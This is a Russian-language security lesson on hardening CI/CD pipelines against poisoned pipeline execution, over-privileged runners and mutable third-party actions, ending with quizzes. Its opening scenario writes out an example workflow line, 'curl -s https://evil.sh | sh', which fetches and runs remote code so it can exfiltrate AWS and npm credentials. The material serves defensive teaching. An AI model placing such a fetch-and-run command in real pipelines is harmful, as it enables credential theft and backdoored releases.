open atlas
↑ К треку
Безопасность облака и инфраструктуры CLOUD · 03 · 04

Pipeline hardening

CI выполняет код под влиянием атакующего с продакшен-учётками. Отравленный конвейер и перепривилегированный раннер превращают это в пробой — а наименьшие привилегии, границы доверия и закреплённые actions это останавливают.

CLOUD Senior ◷ 18 min
Уровень
ОсновыJuniorMiddleSenior

Контрибьютор открывает pull request к твоему репозиторию. Он не трогает исходники — он правит .github/workflows/ci.yml, добавляя одну строку в job тестов: run: curl -s https://evil.sh | sh. Твой CI триггерится on: pull_request, job выполняется на self-hosted раннере, который уже держит AWS-роль и долгоживущий npm-токен в окружении, а файл workflow, который выполняет раннер, — это отредактированная атакующим копия из ветки PR. CI собирает вредоносный форк, скрипт читает AWS_* и NPM_TOKEN из окружения, эксфильтрует оба и публикует пакет с бэкдором — всё это до того, как человек хотя бы нажмёт «одобрить». Ни один продакшен-сервер не был взломан. Был взломан сборочный сервер, а у него были ключи от всего. Это отравленный конвейер, и компрометация Codecov в 2021-м и инцидент tj-actions/changed-files в 2024-м — ровно эта форма в масштабе.

К концу урока ты будешь знать, как контролируемый атакующим workflow превращает CI в машину удалённого выполнения кода с продакшен-учётками, почему перепривилегированный раннер делает маленький плацдарм катастрофой и какие контроли (наименьшие привилегии, границы доверия, закреплённые actions, OIDC) реально разрывают цепочку.

Почему CI — высокоценная цель

Зрелый инженер жёстко рефлексирует на один факт: конвейер — самый мягкий путь к продакшен-учёткам во всей твоей системе. Твои приложения захардены, сегментированы по сети и мониторятся. Твой CI-раннер собирает недоверенный код на каждый push, держит деплой-роль, токен реестра и ключ подписи и почти никем не наблюдается. Атакующий, который никогда не получит RCE на твоём продакшен-флоте, часто может получить его на сборочном агенте, просто прислав pull request.

Актив, который держит CI, — это не «твой код», это доверие. Конвейер — это то, что решает, какой артефакт уедет в прод, и подписывает его как подлинный. Скомпрометируй конвейер — и тебе не нужно взламывать прод; конвейер сам отгрузит твой бэкдор в прод, подписанным, и каждый потребитель ниже по цепочке, доверяющий твоим релизам, унаследует его. Вот почему атакующие на цепочку поставок целятся в сборочные системы: один отравленный конвейер веером расходится на тысячи жертв. SolarWinds (2020) был компрометацией сборочной системы; Codecov (2021) эксфильтровал секреты из десятков тысяч CI-окружений, изменив один bash-загрузчик.

Отравленный конвейер: две разные разновидности

«Отравленное выполнение конвейера» (PPE) означает, что атакующий внедряет вредоносные команды в сам процесс сборки, а не в развёрнутое приложение. Есть два механизма, и их смешение — частый промах на senior-собеседовании.

  • Прямой PPE (D-PPE): атакующий может править определение CI, которое выполняется. Классический триггер — pull request из форка/ветки на платформе, которая выполняет версию workflow из PR. Правишь ci.yml, добавляя run: <вредоносное>, открываешь PR, и CI выполняет твою команду с привилегиями раннера до ревью.
  • Косвенный PPE (I-PPE): атакующий не может править workflow, но workflow выполняет файлы, которые атакующий может править, — Makefile, npm-скрипт postinstall, тестовый хелпер, Dangerfile. Определение конвейера заперто, но оно вызывает make test, а make test выполняет контролируемый атакующим код из PR. Запереть YAML необходимо, но недостаточно.

Смертельная комбинация — PPE на job, триггеримом pull_request, у которого есть доступ к секретам. На GitHub событие pull_request из форка намеренно выполняется без секретов репозитория и с read-only токеном именно по этой причине — но событие pull_request_target выполняется в контексте базового репозитория с полными секретами, при этом делая checkout head из PR, и это самая опасная мисконфигурация в экосистеме. Если твой pull_request_target workflow делает actions/checkout с ref: ${{ github.event.pull_request.head.sha }} и затем собирает, ты вручил каждому автору форка RCE с секретами.

Перепривилегированный раннер: почему маленький плацдарм становится ядерным

PPE даёт атакующему выполнение кода. А чего это выполнение стоит — решается целиком тем, до чего раннер может дотянуться, и это рычаг, который ты реально контролируешь. Перепривилегированный раннер — это раннер, держащий больше полномочий, чем нужно job перед ним.

Проблема штатных учёток на self-hosted раннерах — худший случай. Self-hosted раннер — это долгоживущая машина, которой ты владеешь. Если к ней прикреплена AWS instance-profile роль, любой job, попавший на неё, — включая отравленный PR-job — может вызвать cloud metadata эндпоинт (http://169.254.169.254/) и принять эту роль. Учётка никогда не лежала в хранилище секретов, которое ты мог бы ограничить; она ambient на хосте. Хуже того, self-hosted раннеры не эфемерны по умолчанию: малварь из одного job сохраняется на диске и в кэшах для следующего job, поэтому одна отравленная сборка может бэкдорить каждую последующую сборку на этой машине. GitHub явно предупреждает против прикрепления self-hosted раннеров к публичным репозиториям по этой причине.

Три измерения привилегий, которые надо гнать к наименьшим:

  • Область токена: дефолтный GITHUB_TOKEN в GitHub можно сделать read-only (permissions: read-all — не дефолт; задай permissions: contents: read и выдавай write по-job только там, где нужно). Токен, способный пушить в реестр или создавать релизы, — это токен, которым отравленный job воспользуется.
  • Облачная роль: деплой-роль должна быть принимаема только деплой-job на доверенном триггере (push в защищённую ветку или тег), никогда — тестовым job на PR. Используй OIDC-федерацию, чтобы CI обменивал короткоживущий, ограниченный workflow токен на облачные учётки вместо хранения долгоживущего AWS_ACCESS_KEY_ID в секретах CI, — и ограничь облачный trust policy конкретным репозиторием, веткой и окружением.
  • Достижимость раннера: раннер, способный открывать соединения в твой продакшен-VPC, — это раннер, превращающий компрометацию сборки в латеральное движение. Сборочным агентам место в изолированной сети с фильтрацией исходящего трафика, а не рядом с твоими БД.
Контроль хардерингаКакую атаку убираетКонкретное изменение
Нет секретов на job недоверенных PRЭксфильтрация секретов через PPEИспользуй pull_request (не pull_request_target); требуй одобрения до job с секретами
Токен наименьших привилегийЗлоупотребление push/release из отравленного jobpermissions: contents: read по умолчанию; выдавай write по-job
OIDC: короткоживущие облачные учёткиКража долгоживущих ключей AWS_*Федерация; trust policy ограничен репо + веткой + окружением
Закрепляй сторонние actions по SHAСкомпрометированный тег action (мутабельный)uses: org/action@<полный-commit-sha>, не @v4
Эфемерные раннерыПерсистентность между job; ambient-роль хостаОдин-job-на-VM (just-in-time), сносится после; без instance profile

Проблема сторонних actions

Большинство конвейеров втягивают десятки community-actions, каждый из которых выполняется с привилегиями workflow. uses: some-org/setup-thing@v4 резолвит мутабельный тег — мейнтейнер (или атакующий, скомпрометировавший его) может перенаправить v4 на вредоносный код, и твой следующий прогон молча его выполнит. Это ровно компрометация tj-actions/changed-files марта 2024-го: атакующий переписал теги action так, чтобы вываливать секреты CI в логи сборки по тысячам репозиториев. Митигация — закреплять каждый сторонний action на полный commit SHA (@a1b2c3..., не @v4), чтобы код, который ты отревьюил, был кодом, который выполняется, и относиться к стороннему action с той же подозрительностью, что к любой другой зависимости, — потому что это она и есть, выполняемая в твоём самом привилегированном окружении.

Почему это работает

Почему не просто «ревьюить каждый PR до запуска CI»? Потому что самые опасные триггеры по замыслу выполняются до ревью. Job pull_request форка стартует в момент открытия PR — в этом и смысл CI: дать ревьюеру зелёную галочку. Защита не может быть «сначала человек прочитает»; она должна быть в том, что pre-review job структурно неспособен навредить: нет секретов в окружении, read-only токен, эфемерный раннер без штатной облачной роли и без сетевого пути в прод. Тогда неважно, что атакующий контролирует код, — код не контролирует ничего ценного. Это тот же рефлекс deny-by-default, что в контроле доступа, применённый к сборке.

Как зрелый инженер выстраивает порядок хардеринга

Порядок важен, потому что контроли не равны по ценности-на-усилие. Сначала убей штатные учётки: уйди с долгоживущих облачных ключей на OIDC и убедись, что ни один job с секретами не выполняется на недоверенном PR. Один этот ход обнуляет выгоду отравленного конвейера. Второе — опусти токен до read-only по умолчанию и выдавай write узко. Третье — сделай раннеры эфемерными, чтобы плацдарм не мог сохраниться. Четвёртое — закрепи actions по SHA, чтобы поверхность зависимостей перестала сдвигаться под тобой. Заметь сквозную линию: ты предполагаешь, что атакующий получит выполнение кода в CI, и инженеришь так, чтобы, когда он это сделает, раннер был коробкой без ничего ценного для кражи и без места, куда стоит идти.

Выбери лучший вариант

PR из форка может править `ci.yml`, а твой CI-job собирает PR с AWS-деплой-ролью и npm-токеном публикации в области видимости. Выбери контроль, который реально разрывает цепочку отравленного конвейера.

Викторина

Почему self-hosted раннер с прикреплённой AWS instance-profile ролью особенно опасен для CI публичного репозитория?

Викторина

Твой workflow заперт так, что контрибьюторы не могут править `ci.yml`, но он всё ещё выполняет `make test`, а `make test` выполняет `Makefile`, который PR могут менять. Какая атака остаётся и какова её категория?

Расставь шаги по порядку

Упорядочь контроли хардеринга конвейера по ценности-на-усилие, сначала наибольшая (зрелое выстраивание):

  1. 1 Убей штатные учётки: OIDC короткоживущие учётки + нет секретов на job недоверенных PR
  2. 2 Опусти GITHUB_TOKEN до contents: read по умолчанию; выдавай write по-job
  3. 3 Сделай раннеры эфемерными, чтобы плацдарм не сохранялся между job
  4. 4 Закрепи каждый сторонний action на полный commit SHA
Вспомните перед уходом
  1. 01
    Объясни разницу между прямым и косвенным отравленным выполнением конвейера и почему запирания файла workflow недостаточно.
  2. 02
    Почему перепривилегированный раннер превращает маленький плацдарм в CI в полный пробой и какие три измерения привилегий минимизировать?
Итог

CI — самый мягкий путь к продакшен-учёткам в твоей системе: он собирает недоверенный код на каждый push, держа деплой-роли, токены реестра и ключи подписи, и наблюдается куда меньше, чем прод. Отравленный конвейер (PPE) — это когда атакующий внедряет команды в саму сборку: прямо, правя workflow на PR из форка (D-PPE), или косвенно, через редактируемые атакующим сборочные скрипты, которые запертый workflow всё ещё выполняет (I-PPE). Ущерб решается раннером: перепривилегированный раннер — особенно self-hosted с ambient-облачной ролью, сохраняющейся между job, — превращает выполнение кода в украденные учётки и релиз с бэкдором, который веером расходится на каждого потребителя ниже по цепочке. Зрелый фикс предполагает RCE в сборке и инженерит под наименьшие привилегии: нет секретов на job недоверенных PR, OIDC короткоживущие облачные учётки, ограниченные репо и веткой, read-only токены по умолчанию, эфемерные раннеры и сторонние actions, закреплённые по полному commit SHA (урок tj-actions/changed-files). Теперь, читая workflow, твой первый вопрос: если бы атакующий контролировал код этого job, что он мог бы украсть и куда дотянуться — и сделал ли я оба ответа «ничего»?

Практика

Начни сверху. Задачи идут от простого к сложному: вспомнить факт, применить к случаю, затем senior-уровень. Открой, попробуй, потом открой ответ.

вспомнитьприменитьуглубить0 из 6 завершено

Что-то непонятно?

Задай вопрос по этому уроку. Вопросы анонимны и попадают напрямую автору — урок станет лучше.

хоткеи развернуть
поиск
K
пред. пьеса
k
след. пьеса
j
тиры
t
это меню
?
sources2
expand
  1. 01
  2. 02

Trademarks belong to their respective owners. Editorial reference only.